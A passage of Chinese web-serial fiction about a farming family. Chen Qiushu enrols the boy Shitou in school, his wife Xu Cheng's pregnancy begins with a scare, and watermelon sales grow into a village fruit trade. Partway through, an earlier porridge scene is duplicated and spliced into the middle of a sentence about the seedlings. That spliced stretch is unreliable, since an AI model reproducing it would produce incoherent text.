还没到家,遇上石头从回村的小路上走过来。
陈秋树看了他好几眼,身上干干净净。心里还讶异了几秒,这小子跟个泥猴儿一样,这几天倒是难得的整洁。
“今天去那了?”
石头飞快的抢在两人面前进了屋子。“没干啥,和柱子他们一起抓鱼去了”
孩子撒起荒来别扭又心虚,陈秋树没有刨根问底,毕竟谁还没有点小秘密。他只需要在背地里悄悄观察一下不出什么大事儿就行,。
晚上许橙煮了汤圆,放了米酒和桂花,酒香配着花香,陈秋树一口气吃了两碗。
石头也呼啦呼啦的埋头吃。陈秋树喝了口汤眯着眼睛看他,“真没有事情满着我?”
石头小小的身子抖了一下,眨着眼睛说“真的没有,”
陈秋树不信,许橙也不信,心中猜测莫不是这小子叛逆期提前到了。“有什么事可以说出来,家里还有大人在?”
石头看着身前对自己有救命之恩两个人,半响才瓮声瓮气的说“哎呀!等过一段时间再和你们说”
“我吃好了,先回屋!”
许橙看着他跑出去,露出担忧的神情“不会真的有事?你去看看”
陈秋树揽住她的肩膀“没事的”
虽然嘴巴上说着没事,第二天看见石头要出门陈秋树还是不放心悄悄跟在后面。
长溪村没有村学,孩子们想要识字,就要到县城的私塾里去。一年的束脩就要十两银子,因此家家户户的难以供得出一个读书人。
——
阳光书院,夫子拿着戒尺在课桌间走来走去,学子们都打起了精神,绷直了身子,生怕下一秒戒尺就落到了自己手上。
石头来到了一颗大树下,抬头看了一眼还算茂盛的树叶,没有任何犹豫,三下五除二的爬上了的树干。
课室里传出朗朗读书声,扒开树叶侧着身体往里看,可以看见讲课的夫子和几个学生。
“天地玄黄,宇宙鸿荒……”,石头蹲在树枝上小声点跟着大家念。唯一不好的是隔得有点远,即便伸长了脖子,眯着眼睛。
也看不清学子们学的大字怎么写。他只能无奈的抓了抓脑袋。把梳好的发髻弄得乱七八糟。
陈秋树已经在树下坐了好久,即心疼又欣慰,
说起来也怪他自己,天天待在村子里,看着别的孩子都在玩,一点儿也没想起来要送人上学这件事。
直到私塾散学,石头才从树上跳下来,和陈秋树碰了个面对面,吓得差点咬了舌头
“大……大哥,你怎么在这儿?”
陈秋树站起来,拍了拍身上的灰,问到“我说怎么天天见不着人,就到这儿来了?”
石头:“我这不是先来试试,原本打算过几日就告诉你们”
“哦~那你试得怎么样了”。陈秋树牵着他的小手,两人边说边着往回走
石头见他没有生气的迹象,顿时又开心起来:“大哥,不瞒你说,我可比他们聪明,这些天夫子讲的我都记住了,不信我读给你听,”
“苟不教,性乃迁…………”
陈秋树看他闭着眼睛摇头晃脑,轻笑出声。
石头小眼睛瞄了他一眼:“你可看看,我读得可好”
陈秋树揉了一把他乱糟糟的头发,“想去学堂?”
石头眼睛亮亮,坚定的说“恩,我以后也考秀才,当个好县令,为受冤屈的百姓做主”
“好,咱们石头有志气,大哥支持你”
陈秋树发现石头好像长高了一些,从五官可以看出以后定然是个俊逸的少年郎。
……
夜里,陈秋树和许橙一番云雨后,依偎在一起睡觉,他把石头想去学堂的事情和许橙说了一下。
不养便不养,既然养了便好好养,他不想苛待了孩子。
许橙想想说:“石头是个好孩子,反正咱们现在也不缺钱,想学便送他去就是”
陈秋树揉了揉她的发顶,在她额头亲了一口。
“将来咱们有了孩子,男孩女孩都送去私塾学识字”
许橙抱这他的腰,轻轻点头::“恩”
也不知道将来他们的孩子会像谁更多一点呢?
……
私塾拜学需要备十两银子的束脩,和一份拜师礼,礼品无需多贵重,买了两包糕点和肉干,称了几斤散装的桂圆红枣。
早上起来许橙就给石头收拾得干干净净,再加上这段时间吃得好,皮肤白了不少,看着到有两分书卷气。
今后可再不能到泥里滚了,知道吗?”
石头板板正正的立在哪里,怕一不小心就弄乱了头发到了学堂让夫子不喜。
绷着脑袋朝许橙笑,“知道了,谢谢大嫂。”
陈秋树架好马车从后院出来问:“准备好了吗?”
许橙看着石头上车,朝他们摆摆手“去吧,记得听要夫子的话,”
半个时辰到了书院,陈秋树带着石头经人引导来到了夫子室。
开蒙班的夫子姓魏,留着一点花白的胡须,他看了石头片刻。缓缓开口“八岁开蒙,晚是晚了一点,不过今年学堂空了一个位置,你便留下来试学两日,两日之后再来交束脩也不迟”
陈秋树行了一礼:“有劳夫子费心”
闻言石头顿时松了口气,想着平常偷看学来的礼仪,有模有样的给夫子鞠躬,“多谢夫子”
魏夫子摸了摸胡须,点点头说道“跟我过来,带你认认课室”
……
出了书院,陈秋树带着石头去买了笔墨纸砚,和开蒙用的三字经。
翻开书本还能闻得到墨香,石头拿着几本书爱惜的摸来摸去,反复观看,才
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依依不舍的放进书箱里。
陈秋树催他快走傻孩子简直没眼看。
他要忙着地里的事情,石头每天就跟着王贵叔家一起去县城上学,下学后又跟着回来
——
时间过得飞快。又是新一年春回,今年的春天来得比往年早,才三月底不少野花儿竞相开放。
陈家后院有一间厢房,屋子四面的窗户都用油纸封了起来,里面还放了两盆碳火,温度刚好适应嫩苗生长。
靠着墙壁摆了两排竹架,架子上放在一个个正方形的小笸箩,里面装满了黑色的营养土。
陈秋树站在架子前,手上拿着个用葫芦制作的小花洒,挨着一盆盆的浇水,
黑色的泥土里已经冒出了浅绿色的幼苗,看着格外的喜人可爱。
许橙把门推开一条缝挤了进来,
“怎么样,浇好了吗?”
陈秋树:“恩,马上好”
许橙凑上前去,喜滋滋的看着这些刚冒头的芽儿。
“我刚才去地里看,大家该收的都收了,咱们近些日子找些人把土松一松,施些肥,等这小芽儿长大了也好种过去?”
陈秋树把花洒放在水桶里,拿过身旁的布巾擦了手,“好,今年菜籽收了,我去大瓦叔家多买几袋油菜饼,刚好用来肥土”
“恩,我听说今年买的人挺多,咱们得早些去买”
房门打开了一条缝,两人相继挤了出去,又把门关上了。
这天还有点凉,过些日子就可以把炭盆搬出来。估摸着四月底月就可以把幼苗移栽到地里。
这些小苗里有西瓜,香瓜,百香果,还有一些就是当初那一袋不在是什么品种的种子,苗太小,暂时看不出来是什么东西。
西瓜,香瓜,这类水果需要每年栽种,而百香果第一年种出来,后面都可以像葡萄一样扦插。
两人一同来到前院,穿得干干净净的石头儿正在练习毛笔字,见两人过来叫了一声哥嫂,
陈秋树低头同许橙耳语,“这小子还挺认真,不知是不是装模装样”
许橙知道他是在开玩笑,轻轻是拧了他一把,
笑着说“石头累了就歇会,总归着你还小“
说完往厨房走去,
“我去做饭,你俩歇会”
陈秋树走到凳子前坐下,拿过石头写的功课来看。
“写得不错啊,小石头”
石头脸红,“夫子是也是这么说的”
陈秋树笑骂:“真是一点不谦虚”
他挨着看了一会,忽然想起石头现在长成了个大男孩,将来要是考了秀才,总不能一直石头,石头的叫?
“小石头,你想不想取个大名,”
石头先愣了一下,随即点点头,给陈秋树鞠躬“请大哥赐名”
“啧,还挺有礼貌”
石头姓江,他想了想,才开口,“一生无虞,长乐未央。”
“叫江无虞如何”希望孩子一生平安顺遂,想到石头的身世,陈秋树觉得如此甚好。
“江无虞,”
石头默念几句,觉得好听,笑了起来。“谢谢大哥”
陈秋树拿了纸笔,教他写江无虞三个字。
一边给他解释这个名字的寓意。
收到亲人的祝愿,石头只觉得有水糊了眼睛。
38. 有了!
今晚吃的芋头炖鸡,还炒了两个时令小菜,新鲜的水竹笋又嫩又脆,和着腊肉一起炒了一大盘,陈秋树照常给媳妇孩子一人一个鸡腿,他自己喜欢吃鸡翅。
饭吃到一半,注意到许橙不怎么下筷子,看着有点厌厌,出声询问“怎么了”
许橙盯着眼前的半碗鸡汤,用汤勺在碗里搅了搅,明明这么好的东西,今儿个怎么就吃不下呢。
她把勺子搁在碗上“咱们这鸡是不是养得太肥了,怎的这么多的油”
闻言陈秋树笑了笑,把她的碗碗拿到了自己面前。
“太油了咱们就撇一撇,可是这两天有点热?”
这一年家里顿顿吃肉,一家人都不缺油水。加上天热,他自己也更爱喝清淡一点的汤
“恩。“
许橙两手支着腮帮子,看陈秋树拿着勺子撇油。她男人可真疼她。
“喝喝看?”陈秋树把汤碗放在许橙子面前,鸡肉皮下面的一层油渍都被细心的去除。这让被爱护的人心尖儿都泛出暖意。
饭后两人出去散步消消食,顺便去王婶家串串门。
她家这两年赚了点钱,在屋子后面加盖了几间房。
旭哥今年十七,年初和隔壁村的李家姑凉相看,,听说两个孩子对了眼,家里准备这几日就去人姑凉家提亲,把事儿定下来。
王婶别提有多高兴了,提着菜篮子站在门口眯着眼,和家门口的妇人谈话。
瞧见两人手拉手的过来,笑咪咪打招呼,两家人很熟,陈秋树牵着许橙像回自己家一样,毫无拘束。
王旭这会儿有点紧张,还不知道李姑娘有没有看上他。
肩头忽然被拍了一下,一时羞得不敢抬头和人说话
。
陈秋树忍不住调侃“喜欢人家姑娘?”
“恩,李姑娘很好”村里的男孩们皮肤都黑,看不出他是不是脸红。
陈秋树正和他说该如何跟姑娘相处。挨了几记许橙刮过来的眼刀子。讪讪闭了嘴。
这种闲天就是吃饱喝足钻被窝的好时候。
刚刚沾到了床板两人就抱在了一起,直到后半夜,房间里的烛火才熄灭。
夜里起了风,陈秋树被梦惊醒,天还没亮,迷迷糊糊想侧身把身边人楼进怀里睡觉。
忽然感觉到床单有点黏糊。
“?……”
把手指放到鼻子下,有股淡淡的血腥味。
“那里来的血,手也不疼啊?”他大脑宕机了几秒,翻身下床把桌上的灯点上。
许橙侧身卷缩在床角。眉头紧锁,额头冒出细密的汗珠,
陈秋树叫了她两声,没反应。
抖着手揭开了被子,床单上有一小块深色的印记。亵裤上那块鲜红的颜色刺的他眼睛生疼。
来不及多想,套了鞋子就出门把还在睡梦中的石头叫醒在屋子里守着。自己骑马去找大夫
这个时辰村子里很安静,偶尔有那一两户人家要早起去做工的才亮起了灯。
陈秋树把王大夫家的门拍的啪啪作响,
里面的人连着回了好几句“就来,就来。”生怕外面的人自家门板给敲破了。
天还没亮就有人上门,王大夫也知道这是人命关天的事儿。
拿了药箱就被陈秋树抱上了马,一路上差点没给骨头癫散了架。
陈秋树害怕啊,他的手一直在抖,木着脸看着大夫诊脉。
王大夫面色严肃:“你们年轻人真是胡闹,好在这孩子命大,该要落在你家。不然有你俩后悔的”
陈秋树“……”
“我夫人没事?”
“喜脉,两个月了”说完白了陈秋树一眼。简直不知轻重
“现在动了胎气,切记今后不可在如此鲁莽行房事,待我开两幅安胎药,好好养着就没事了”
陈秋树不敢放松警惕,把大夫送回家,又拿了药回来熬上。
回到房间看见两眼泪汪汪的石头还在屋子里站着。
这时候陈秋树那有心思哄他,摆摆手让他回去休息。
屋子里很安静,他打了盆水给许橙擦额头的汗,等药熬好了给她喂下。才小心翼翼的趟下,从被子里捞出一只手抱在怀里。
……
许橙昏昏沉沉的醒来,小腹处隐隐坠疼让她莫名感到心季。刚想要起床就被来人温柔的扶住。
“醒了,有没有感觉哪里不舒服?”
“肚子有些难受”
陈秋树给她身后垫了个枕头。“你别动,先喝药,火上熬了粥,等下喝点儿就好了。”
许橙这会儿还没反应过来,顺着陈秋树的手就把药喝了。才一脸茫然的问“我怎么了?”
“怀孕了”
许橙“…………”
半响,那种空空的茫然变成了莫大的喜悦,她有孩子了,要当娘了。把手放在了小腹处,什么都没感受到。
一抬头就对上了陈秋树的苦瓜脸,想起昨晚的两人没个分寸,加上身体上的不适。顿时惊慌失措,“难道孩子……孩子……”
陈秋树见她要哭,立马蹲下出声安慰,“没有,你别多想,他好好的,已经两个月了,咱们就要当爹娘了“,
许橙眼泪还没收回去“那你怎么不开心”
陈秋树笑笑,“我很开心,只是夜里你流了血,吓到我了”
“对不起”陈秋树亲了她一下
现在想想,两人都后怕不已,不管是那种不好的结果,他们都无法承受。
许橙醒得晚,早就饿了,陈秋树去厨房端粥。不让她下床,等吃了可以再睡一会。
石头今天也没去私塾,在厨房里拿木勺搅这锅里的粥。粥里面放了肉丝和鸡蛋。煮得又稠又糯。
陈秋树进来,他才问“嫂嫂好些了吗?”
“恩,没事儿了”
此刻那种即将初为人父的幸福和喜悦现在才涌上心头。
陈秋树整个人都轻飘飘的。
他说“你要当叔叔了,而我要当爹了”
石头“……”
这事儿他昨夜就知道了,不过现在知道嫂嫂没事,他才放心,自己现在要多吃点快点长大,毕竟马上就要当叔叔了。
连这几天陈秋树都不让许橙下床,亲力亲为的精心伺候。就怕一个不小心又出了什么状况。
直到许橙受不了提出抗议,陈秋树才让她在家门口走一走。
许橙有了身孕,自然是不能再下地干活。
再说陈秋树也
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舍不得她做事,又怕她在家闲得无聊,因此在县城里买了不少画册,零嘴放在家里,没事儿可以打发打发时间。
天气一热,屋子里的嫩苗棵棵都长得壮实。
从叶子已经上可以分辨出他们的品种。
那袋直不认识的种子,陈秋树原本以为是什么没见过的热带水果,还担心石头今天没去私塾,在厨房里拿木勺搅这锅里的粥。粥里面放了肉丝和鸡蛋。煮得又稠又糯。
看见陈秋树进来,才问“嫂嫂好些了吗?”
“恩,没事儿了”
此刻那种即将初为人父幸福喜悦现在才涌上心头。
陈秋树正个人都轻飘飘的。
他说“你要当叔叔了,而我要当爹了”
石头“……”
这事儿他昨夜就知道了,不过现在知道嫂嫂没事,他才放心,他现在要多吃点快点长大,毕竟马上就要当叔叔了。
现在看来并非是水果,而是一些鲜花因为,原本他以为回事什么没见过的热带水果。担心气候原因种不了。
现在来看打算等些过些天就种到院子里也不错。
嫩苗长得快,几乎一天一个样,靠他一个人种肯定来不及。找了村子里几个熟悉的人帮忙移栽果苗,
挑了个刚刚下过雨的天气。这样土壤比较湿润,毕竟挑水也是个力气活。而四月这本身就是个多雨的季节,无需担心幼苗被太阳晒死。
干扁的土地因为给村子里的人种了一段时间的菜而变得肥沃。虽然比起熟土差了些,但也非常好了。
用锄头在前面刨出一条长长的坑。后面跟着人压苗。
其他人提着大口袋施肥浇水。
有人好奇问陈秋树:“你这养苗的本事还可以啊,之前还以为你真不会这些地里活呢!”
陈秋树也提了个袋子洒肥,笑着说“也是之书上看过,又在村里看婶子做,学了一些,也是运气好。”
“将来这寒瓜若长成,我可高低要买两个尝尝!”
陈秋树也笑着说“可以,道时候给大伙便宜点……”
不管有没有开玩笑的成份,反正他是要开门做生意的。
把果苗种下去又还要挑个时间去李子地蔬果。大部分苦李都用来嫁接了桃子,糖李没剩几颗,他一个人两天就可以疏完。
桃树才刚刚长出新枝条,这一两年肯定是不会结很多的果。
不过他也不急,也许这就是口袋里有钱的底气。
更何况他的葡萄今年会是个大丰收。
————
春耕结束,村子里的人就闲了下来。
许橙的肚子已经有点微微凸起。陈秋树牵着他在田地里的小道上散步。
那五百亩地,种了不少的果树苗,当然,除了李子和桃,其他的苹果,樱桃,柿子,这些,没个三五年的结不了果。
地里搭了一个宽敞的木架,百香果的藤蔓爬满了架子,已经打了不少花苞。
架子下面是一片西瓜藤,一片甜瓜藤,开着星星点点的小黄花。
宋老二和两个村民在低着头除草,三人都是村里勤快汉子。没有什么不放心的,不必时时刻刻都看着。
现在太阳大,转了一圈两人就回了家。
39. 卖瓜
七月中旬,田里的寒瓜成熟,陈秋树挨个敲敲打打,挑了一个大的提回家,放水井里凉着,等会吃了晚饭刚好解腻,
瓜熟了就得卖,吴掌柜前脚派常越过来了拿了两个回去吃,后脚就来定了头一茬瓜,估计这会儿玉友楼已经推出了新的菜品果盘。
陈秋树自己也摘了两大箩筐。明天他就拉着去县城里卖。
能不能卖出去,这他不担心,平阳县这边不种寒瓜。到时候开一个试吃,不怕别人不喜欢。
长山郡地广山少,川流不息,土地肥沃,因此百姓们家家都种粮食,年年收成都不错,老百姓也不会想着去种水果,有些人家会到山里挖几颗山泡儿种院子里,就当水果吃了。
当然,县城也有卖水果的,不过因为不好运输,卖的少,也贵,。普通人家是吃也吃不起,集市上最常见的就是柿子,一个个又青又硬,买回家放谷子里捂一段时间才能吃。
所以他不担心,只要他种得出来,不会不好卖。
地二天陈秋树也没赶大早去,先起来做了早饭,,他自己多做一些,许橙就可以少做一些。许橙现在肚子大了,陈秋树不想让她累着。等出门的时候差不多过了早集。
没去早市,赶着马车来了百花路这片,这片商贩买的都是些穿的玩的用的,一天到晚都有人过来闲逛。
就是想到这儿卖东西,每日需要五文钱的入门费,
陈秋树也不用支摊子,把马车停放在路边。用水果刀把一个寒瓜切成薄片,放在准备的好的瓷碗里。这样就可以卖了。
都无需他招呼,这么热的天两大框寒瓜就足够吸引眼球。
没一会就有人上前询问。
“你这寒瓜,怎么卖”
陈秋树也懒得按斤称,直接报了二十文一个。
“我这瓜大个,买回家一家人都能吃到。这天气买回去在井里放上一会,最好解暑气”
那人似乎有些嫌贵犹豫了一会。”谁知道这瓜甜不甜,”
陈秋树把切好的瓜片递到他面前“阿伯可以先尝尝看,刚刚切的,”
那人尝了一片,没说什么,在框子里翻了翻:“这都一样?”
陈秋树笑着上说:“阿伯放心,不甜您拿回来找我”
“这个,就给我把这个包起来。”一番挑挑拣拣,挑了个最大最圆的。
闻言陈秋树拿网兜给他包了起来,拉绳一收刚好可以提在手上。
寒瓜都是他挑着摘的,其实大小都差不多。毕竟他这是按个投卖,大小差异太大不好。
天气热,大中午没什么人,午饭让食肆的小二送了碗肉丝面过来。
饭后陆陆续续来了几波人,两个妇人家合伙买了一个瓜,回家从中间切开,一家一半刚好,她们家人少,一半就够吃了,
一直到太阳西斜,街上的人流才开始多了起来。
他切了两个寒瓜放在车上,红艳艳的果肉看着就吸引人。嫌一个太多的可也以半个买。
街上来往的人一多,自然就注意到了这一车瓜。纷纷上前询问。对于县城的有钱人,二十文不算什么。两碗羊杂面的事。寒瓜这样的果子毕竟难得,他们这儿没有,每年夏天,只能让外地的亲戚捎带些过来尝尝鲜。
现在见到有人卖,自然不能错过。家里人多的一次买了好几个。
也有那些平常人家花上十文钱买半个回家给孩子老人吃,这么精贵的东西,她们自己咬两口尝个滋味就行。
生意如同想象般的好,两个筐子在太阳落山之前卖完,而越是到了这个凉爽的时候人越多,没买到的见空的的箩筐,忍不住叹气,来得晚了。
陈秋树安慰:“大家别急,我明天还在这里,大家都能买到,放心吧!”
“小兄弟,那你可多带点,我家姥爷最爱吃这个。可一定要给我留着”,小斯很着急,要是他家老爷爷知道县城有寒瓜,自己没买到,可怕又要挨训。
“好勒,明儿你来就是。铁定给你留着”陈秋树爽快应到,
今天是第一次出摊,事情顺利心情自然愉快。
开开心心赶着马车回到家,许橙已经做了饭菜。石头帮着在灶下烧火。
陈秋树扶着许橙的肩膀从灶房里出来。
“怎么做菜了,累不累?,不是和你说我晚些回来做吗?。”
许橙当然要做,陈秋树一天忙到晚,那能让他回到家里还没口热饭。这样她自己也心疼。
再说她自己,虽说有了孩子。但并无害喜吃不下东西,或是身体不适,反而能吃能睡,连皮肤都细腻了不少。
“不累,石头给我烧火,菜都是现成的,我就站着炒一炒,不碍事,你放心,我自是要以身体为重。”
“还是小心些,大夫就说了让你好好休息。我怕累着了会像上次那样…………我不想……”
提了上次出血,许橙也有些后怕,那事儿让陈秋树愧疚紧张了好些日子,她自然知道陈秋树怕什么。想着以后还是少做一些,这样陈秋树在外做事才能安心。
吃了晚饭陈秋树带着许橙去了地里,让她坐在石头上看自己摘寒瓜,旁边的那片甜瓜头茬已经成熟
他让宋老二和王大坤帮忙摘,这两人是陈秋树找的长期工,地里那些拔草驱虫,施肥,盖土,都交给了这两人。他们家里有一堆孩子要养,干活也肯下力气。
当然陈秋树也不会亏待两人,每月给二两银子的工钱,地里那些长得不好看的都让他们带回家去给孩子们吃。忙的时候还要多请几个人一起干。
至于把这些东西交给外人,会不会担心他们学了去自己做?。
陈秋树是不担心的,不说他已经抢占了先机,就是他那五百亩地一般人也买不起,更何况他会的东西并非是一朝一夕看看样子就能学会的
人多摘起来就快。不一会四个大箩筐就满满当当,三筐寒瓜,一筐甜瓜,甜瓜个头小,满满一筐可不少了。
而陈秋树还要趁着太阳落山天又没黑的这个空挡,把新养寒瓜苗种下去,等到了八月份便可以接着卖。
隔日陈他照常去东街卖瓜,位置都没动一下。
经过昨天大家的口口相传,今天来的人更多了,不等他到地方,远远就见好几个人在那观望。马车一停下就围了上来。
抢在
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最前面的是昨天见过的那名小斯。
“您可算是来了,快,快,给我来十个寒瓜”说着把手里的二百文钱递给陈秋树。
陈秋树笑着接过,给他挑瓜。解释道:“没法子来得早,今一早摘的。小兄弟可要尝尝我这甜瓜,今天第一天卖,六文一个,买三个送一个。”
小斯眼睛一亮,买三送一,那他就可以偷偷留下一送的那一个,“恩,那我尝尝?”
陈秋树把切好点甜瓜递了小一半给他,“这瓜籽嫩,带籽吃口感更好”
闻言,小斯连籽带肉都咬了一口。又香又甜,还有一股寒瓜没有的清香味。这籽儿也好吃,
“确实不错,我也买六个,能送我两个?”
“当然,买得多送得多”
小斯喜滋滋的提着两大袋子东西上马车走了。
他家老爷开的油坊,平日就爱吃些清淡的,特别是各种果子,三五日的都要吃上一盘子。
昨儿听说隔壁的死对头买了寒瓜,半夜还来他家打秋风,在门口吐了一地的寒瓜籽。
把他家老爷给馋得直咽口水。
今天他买了十个,老爷太太们可以吃个饱,说不定他们这些做下人的还能混个一两块尝尝。
如果混不到。刚才他可问了,那小哥明天还来,到时他自己偷偷买一个吃。毕竟干了这些年的活,手里也是有点钱的。
——
陈秋树今日收摊比昨天早,,去菜市场买了两根排骨,晚上炖个冬瓜排骨汤。
回去的时路过玉友楼门口,酒楼近来生意火爆,新推出的冰镇寒瓜汁和双瓜拼盘深得人心。
试想什么事能比在饭后吃块冰寒瓜来的舒坦。因天气燥热难耐的心情也会因为一杯冰果汁而得到缓解。
吴掌柜坐在二楼的雅阁里,整对着窗口,时不时的会吹来一阵凉风。
手边的一个大瓷盘里铺着一层碎冰,上面摆着红红绿绿的瓜果。吴掌柜悠闲的躺在椅子里,拿着叉子叉着吃。
门口有人敲门,他懒洋洋的应了声“进~”
“掌柜,这寒瓜没有了,好几桌想要,……您看要不要让陈先生送些过来”
“这事而你去找常越就行,让他派人去买回来,无需过来通知我”
说完又悠哉悠哉的看去了手上的异事录。
常越聪明能干,什么大大小小的事都能掺两手,不得不说他来了之后,吴掌柜的确沈心了不少。
如今酒楼里的大多事情吴掌柜都带着教他做。这时闲着,不得不感慨一句“人老了,总有干不动的一天……”
“……”
陈秋树去晚市买肉耽搁了时间,回到家里还恰好遇上了过来卖瓜的常越。
常越正和许橙说要去地里摘瓜的事,看见陈秋树回来,笑着喊了声“先生”
陈秋树点点头,互相寒暄问候了几句进来可好。
常越:“吴掌柜让我来卖两车瓜,我这就准备去看看,晚上还等着用呢,先生要去地里吗?”
陈秋树要做饭,那有时间陪他:“我还有点事,你自个去,让你的人小心一些,别弄断了瓜藤。”
40. 大单
等人走远了许橙才上前问他有什么事?
陈秋树提着买来的排骨晃了晃,“当然是做饭的事我跟你说,那小子可能吃了,可别留他吃饭!”。
许橙知道他在开玩笑,配合着说,“那咱们赶紧关起门来做。”
话虽如此,但还是在常越摘完瓜回来的时候问了句:“要留下来吃饭吗?”
常越还要赶着回去送瓜,当然拒绝了
……
夜里两人躺在床上,这种时候陈秋树再想怎么样也不敢做那些有的没的。
只能轻轻抚摸这许橙的肚子,亲亲她的脸。再是难忍的时候也只是用了用她的五指姑娘。
许橙靠在他手臂上:“我今天去外面走了一圈,咱家李子快熟了,到时候我来做一些泡李子。还有些桃子也红了个尖,可以吃吗?”
陈秋树搂着她亲昵的说“当然可以吃,以后我们种的东西回越来越多,你想做什么都可以。想吃什么都可以”
“你真好”
两人忍不住又亲在了一起。
——
陈秋树照常架着马车去天天县城卖水果,加了李子和桃,生意一直不错。今年的桃结得不多,卖了几天就断货了。
而长溪村又有了新的话题,陈家这是又要起来了,陈秋树天天去卖水果,一车车的拉出去,不见拉回来。
这会都知道他家赚到了钱,一时间大家又是羡慕又是蠢蠢欲动,有买了寒瓜掏籽儿自己种的,有趁夜去偷瓜苗的。为此陈秋树还专门多请了两个人来帮忙守园子。
当然也有那么几个聪明的找了过来。
最先来的是王旭和杨绍,杨绍是杨婶的儿子,比王旭要大上两岁。
两人纷纷表示要买寒瓜拿出去卖,王旭家本来就摆着小吃摊,原来就有许多老客户,再边上加一个水果摊就是顺便的事。
而杨绍家有马车,打算拉着走街串巷的卖。总之肯定能赚到钱。
陈秋树巴不得,自然爽快的答应下来,他本来就没打算自己卖多久。花了那么多钱买的地,再怎么样也要弄个果园出来。将来做一个水果批发商。
他日日早出晚归,是为了什么?当然就是让人看的!
大家看不见钱就,自然没有人相信东西能卖得出去,农家人手里的钱都是论个儿数着花,那敢随随便便拿出来做买卖。哪怕已经有人动了心思,也要等着观望观望。
现在看见陈秋树赚了钱,他们那里还坐得住。
不出两天,村子里十来个人就跑过来买瓜,家里穷的,没有牛车驴车的,就挑个大担子,去隔壁几个村卖。
陈秋树来者不拒,毕竟是一手交钱,一手交货,概不退货。
至于能不能卖得出去,卖得了多少,就让他们各凭本事。
他自己卖二十文一个,批发给村里的就十二文一个。随便他们担出去卖多少文,贵多少也是他们自己赚,无需陈秋树多嘴。
只是和王旭和杨绍陈秋实提点了两句,想做长久买卖,就要注意好名声。
……
地里的寒瓜飞快的减少,来不及等下一批成熟,上一批就已经卖完。
村子里有人已经尝到赚钱的滋味,忽然明白做买卖的一丝经验来。见没了寒瓜,索性拿了一批甜瓜和李子,装了满满两筐,挑着担子走了。只要人勤快,多多少少都能赚到钱。
……
当然有勤快的自然就要有懒的,这个懒的叫金钱豹,原本名儿叫金钱宝,后头他自己觉得不够霸气,给改成了金钱豹。
也是村子里的一大奇人,上头有五个姐姐,家里老爹老娘看得跟个眼珠子一样紧。从小就有个偷奸耍滑的烂习惯,
后面不知怎么的还和一群混子玩在一起,大事没干成几件,前年惹事还被人打了个半死,家里的牲口都卖了给他抓药吃才医好。
儿子变成这样,还差点没了命,当爹娘的后知后觉悔恨没有多加管教。
也是狠了心让他那几个姐夫硬生生押着在家干了一年农活,倒是磨掉了不少性子。
最近听说有人从陈秋树这儿买瓜去卖,他迫不及待的就跑来了,主要这事儿大家都干,陈秋树又是村里的人,知根知底,他爹娘姐姐姐夫才没关着他不让出来。
一开始金钱豹也没想正正经经做买卖。他只是不想下地干活,又累又晒,干不了一点。
担了二十个寒瓜去县城,卖了两天一个没卖出去
第三天他照常找了个凉快的树荫底下睡觉。想着自己是干正事来了。家里活就让姐夫们帮着干。反正大家都是一家人。
他本就来得晚,这一觉睡到大下午,可算睡舒坦了,神清气爽,这不比干活轻松多了。
天气热容易口渴,他来的时候没带水壶,于是顺手拿了个寒瓜砸开,至于赚不赚钱的,生意那有那么好做。一个人坐在河边吃得环。吃完的瓜皮随手扔进水里。
“哎呀,谁在上面乱扔东西”一声惊叫从岸下传来
这边的河岸有点高,河边种了一些杨柳树,看不清下面是个什么情况。
金钱豹没想到这大热天的,不在家睡觉,还有人出来钓鱼,真的闲出花来。
他把砸破的寒瓜收拾起来,准备挑担子跑路。
一个白头翁气匆匆的从岸边爬了上来,“臭小子,你吓跑了我的鱼,还敢跑,你陪我鱼”
金钱豹也不怵,豪不心虚:“阿伯,你可讲些理,我这就睡了个觉,不吵不闹的怎么吓跑你的鱼”
老头吹胡子瞪眼,“年轻人,还狡辩,莫不是你往河里扔的东西?”
老头眼睛往他篮子里瞟,一下子亮了起来“寒瓜?”
“这瓜……你在那里买的”
金钱豹“我自己种的,可不容易,就这几个了,阿伯你若要,便二十二文一个好了,谁让我吓跑了你的鱼呢,别人这个价我可不卖”
老翁已经把鱼抛到了九霄云外,反正今天他一条也没钓到。气不顺罢了,也不是真生年轻人的气。
“当真,那你把这一筐都卖给我,”
一听他要卖,金钱豹立马热情起来“哎,好,我这就给老伯数数”
一筐十个,一下子就得了二百二十文,除掉本钱还有得赚。
十个瓜老人家不好拿,他干脆给人送回家。,一路上哄得老头子呵呵直笑,他爹娘宠他也是有原因的,简直长了张巧嘴。
连人带瓜送到家,他才知道原来这白头翁是县令老爷的亲爹,就这两日才来的平阳县。
金钱豹自认结识贵人,抹了二十二文的零头。颠了颠手里的二百个铜板。
喜滋滋的准备回家吃晚饭,一低头看见筐里剩下的寒瓜,思考了几分钟,想这卖都买了,要不再去摆摆摊,反正太阳也不烈了,。
他也懒得走远,直接就摆在了城门口,估计也是他运气好,这个点刚好是赶集回村的点。有不少人出城。
十个瓜被一伙结伴的妇人们分着买走了。
金钱豹觉得赚钱似乎还挺简单,回家定要是抽个时间去姐夫家显摆显摆……。<
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自从有人开始拿货,陈秋树就没在去县城卖东西。
在家里精心照料地里的葡萄,买了一批油纸把葡萄串包住,不然还不够这山里的鸟儿吃。
到了九月份,一园子的葡萄相继成熟,果香味儿堪比十月的桂花香。
这次不需要陈秋树大费周章的宣传,大家就直接找上了门,拿得最多的依旧是玉友楼。自从有了各式各样的果盘,果汁儿,他家生意蒸蒸日上。
其次是王旭和杨绍,这两人生意一直不错。特别是王旭,加了个了水果摊,自己的小吃摊生意都比以往好上许多。
不说别的,仅是这两个月卖寒瓜,都赚了不少。他自己也会算数识字。
昨天夜里听王婶说等王旭成了亲,就在县城租个铺子,到时,不管是小吃还是水果,都交给儿子儿媳干。
陈秋树当然举双手赞成,他以后会有源源不断的水果,,两家关系好,王旭先开个水果铺子,未尝不是一种先机。
——
生意越来越好陈秋实原本以为现在卖品种不多,这一两年也就就在平阳县卖卖,以后再来想着卖到外地去的事情,估计的是三四年后。毕竟运输不方便。
没想到他的第二茬寒瓜刚刚成熟,就来了一行商队。
当时陈秋树正趴在许橙的肚子上听孩子的声音,,已经五个月,有了胎动,,陈秋树没事就喜欢摸一摸听一听,给孩子讲故事。
宋老二说有商队过来,陈秋树还有些意外,毕竟水果不好运输,一般的行脚商不敢轻易买卖。就怕全给耽误在路上。
这也是为什么水果贵的原因。。在这个时代大家都是当地有什么就吃什么。可以选择的品类非常有限。
而平阳县更是不怎么种水果,因为粮食产量好,大家更想多种粮食。
不过每年的四五月份,山上或者路边会长不少的山泡儿。陈秋树曾经就带着许橙去摘过好几次。
